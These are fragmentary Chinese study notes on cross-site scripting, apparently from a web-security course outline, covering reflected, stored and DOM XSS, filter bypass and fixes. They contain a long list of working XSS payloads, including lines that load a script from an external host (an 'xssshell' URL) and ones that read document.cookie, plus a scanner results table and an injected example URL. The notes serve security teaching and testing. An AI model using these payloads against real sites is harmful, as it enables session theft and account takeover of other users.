Xss跨站脚本攻击
- Xss通用明文 &&表单劫持
- 跨站脚本攻击漏洞概念,
- 漏洞原理和危害,
- 掌握反射型、存储型XSS漏洞利用方法
- web安全工程师-03-XSS漏洞原理与利用
- 第一章:XSS基础
- 1.1 XSS介绍与原理~1
- 1.2 存储型XSS实战
- 1.3 反射型XSS实战
- 1.4 DOM型XSS实战
- 1.5 XSS辅助测试工具
- 第二章: XSS实战与防御机制绕过
- 2.1 存储型XSS多场景实战及Bypass详解
- 2.3 反射型XSS多场景实战及Bypass详解~1
- payload 多次 url 编码
- 2.4 DOM型XSS多场景实战及Bypass详解~1
- 第三章:XSS高级
浅谈XSS漏洞挖掘 https://mp.weixin.qq.com/s/6oT63IxXodWte3WLw-zKRw有输入的地方就试试,对可以触发XSS的地方做总结输入即输出
对用户的输入在没有进行任何过滤的情况下进行了输出。
输出报错信息的时候直接把用户输入的内容直接进行了输出。
猜想可能由于现在对信息安全的重视,涉及到业务方面的输入数据的过滤编码已经很成熟,
对一些错误信息的输出可能重视还不够大。该漏洞的触发就是在返回错误信息的时候回返回方法名,这个方法名攻击者可以自己定义,导致触发了XSS漏洞
在返回错误信息的时候回返回参数FUZZ参数触发XSS
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,
为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。
一般XSS可以分为如下几种常见类型:1.反射性XSS;2.存储型XSS;
3.DOM型XSS;XSS漏洞一直被评估为web漏洞中危害较大的漏洞,
在OWASP TOP10的排名中一直属于前三的江湖地位。XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,
导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。因此在XSS漏洞的防范上,
一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;"'><textarea+autofocus+onfocus=alert(45)><iframe/src=JavaScriPt:alert(45)><script>alert(aming)</script><script src=”http://192.168.1.19/xssshell.jsp?v=336699″></script>
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
<script>alert(‘Vulnerable’)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<SCRIPT a=”>” SRC=”http://xxxx/a.js”></SCRIPT>
<SCRIPT =”>” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT “a=’>’” SRC=”http://xxxxx/a.js”></SCRIPT><img src=x onerror=alert(45)>
<svg/onload=alert(45)>
<script>alert(45)</script>
<img/src onerror=alert(45)>
"><iframe/src=JavaScriPt:alert(45)>
<video/poster/onerror=alert(45)>
<audio src onloadstart=alert(45)>
<meter onmouseover=alert(45)>0</meter>
<marquee onstart=alert(45)>
<select autofocus onfocus=alert(45)>
<input autofocus onfocus=alert(45)>
<keygen autofocus onfocus=alert(45)>
<textarea autofocus onfocus=alert(45)><original query>
onhwul=64
<svg/onload=alert(45)> | reflected XSS Code |
<script>alert(45)</script> | reflected XSS Code |
| 9 | HIGH | XSS | GET | type | <marquee onstart=alert(45)> | reflected HTML5 XSS Code |
| 10 | HIGH | XSS | GET | type | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code |
| 11 | HIGH | XSS | GET | type | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code |
| 12 | HIGH | XSS | GET | type | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
| 13 | HIGH | XSS | GET | type | <video/poster/onerror=alert(45)> | reflected HTML5 XSS Code |
| 14 | HIGH | XSS | GET | type | <img/src onerror=alert(45)> | reflected XSS Code |
| 15 | HIGH | XSS | GET | type | <input autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 16 | HIGH | XSS | GET | type | <keygen autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 17 | HIGH | XSS | GET | type | <select autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
<textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code |http://www.xxxx.com/tool/search.php?
title=88952634
&mod=main
&file=html
&action=index"'><textarea+autofocus+onfocus=alert(45)>
&dosubmit=1
Xss通用明文 &&表单劫持
-
跨站脚本攻击漏洞概念,
-
漏洞原理和危害,
-
掌握反射型、存储型XSS漏洞利用方法
web安全工程师-03-XSS漏洞原理与利用
第一章:XSS基础
1.1 XSS介绍与原理~1
打cookie xss + csrf getshell
用来攻击 使用浏览器 打开这个 页面的 用户 获取cookie 正常用户/管理员 权限
反射型 - 非存储型 通常 xss 代码 Payload (js) 通过 get 某个参数 传入 后端
没有经过 存储 直接反射回 用户页面 (html)上
存储型payload 存 在某一介质 (数据库、缓存、文件)用户 查看这个页面时 展示 页面 取出数据 时 执行
跟反射型类似但接受者 不再是 后端程序 而是 js 拿到参数 直接 在页面 显示
html 实体编码 大多数 管用白名单 发表文章 富文本 过滤掉 js代码 或者 涉及非法的属性只div a p b 标签 排除onError、onLoad 事件属性 只 src 黑名单 可能会绕过xss 业务场景 对症 反射 get 输入 script代码块 输出
xss 流程
payload 构造
验证
修复
xss 高阶 新用法
xss持久化
xss系列
1.2 存储型XSS实战
被实体转义
我日我自己
用户登录 凭证
换个用户登录
盗取cookie
怎么修复
看 数据库 中 可控字段
1.3 反射型XSS实战
通过 url 参数 传入 恶意代码
value 闭合 掉
反射型 修复
orm 模型 查询
刚才 访问页面 自动给 焦点 就会一直触发
语法
闭合
或者 属性 弹窗
html 实体转义掉
1.4 DOM型XSS实战
js 实现
dom型 不一定 是 url 传过来的 参数
1.5 XSS辅助测试工具
绕过
第二章: XSS实战与防御机制绕过
2.1 存储型XSS多场景实战及Bypass详解
- 全局 配置文件
去掉空格 截断函数
反斜杠 处理
处理 编码问题
数据展示 的 类
实体转义 标签 防止 执行
输入 没做处理
输出 做了处理 没做完全
- 修复 实体转义
编写 payload
长度限制 添加注释
注释 闭合 网页标签
dom节点
多段提交
注释 执行
多点限制 加密 编码
取值 得值 谨慎
2.3 反射型XSS多场景实战及Bypass详解~1
- 插件 漏洞
payload 多次 url 编码
浏览器默认 解码一次 url编码
2.4 DOM型XSS多场景实战及Bypass详解~1
存储 + DOM
漏洞 分析 + 挖掘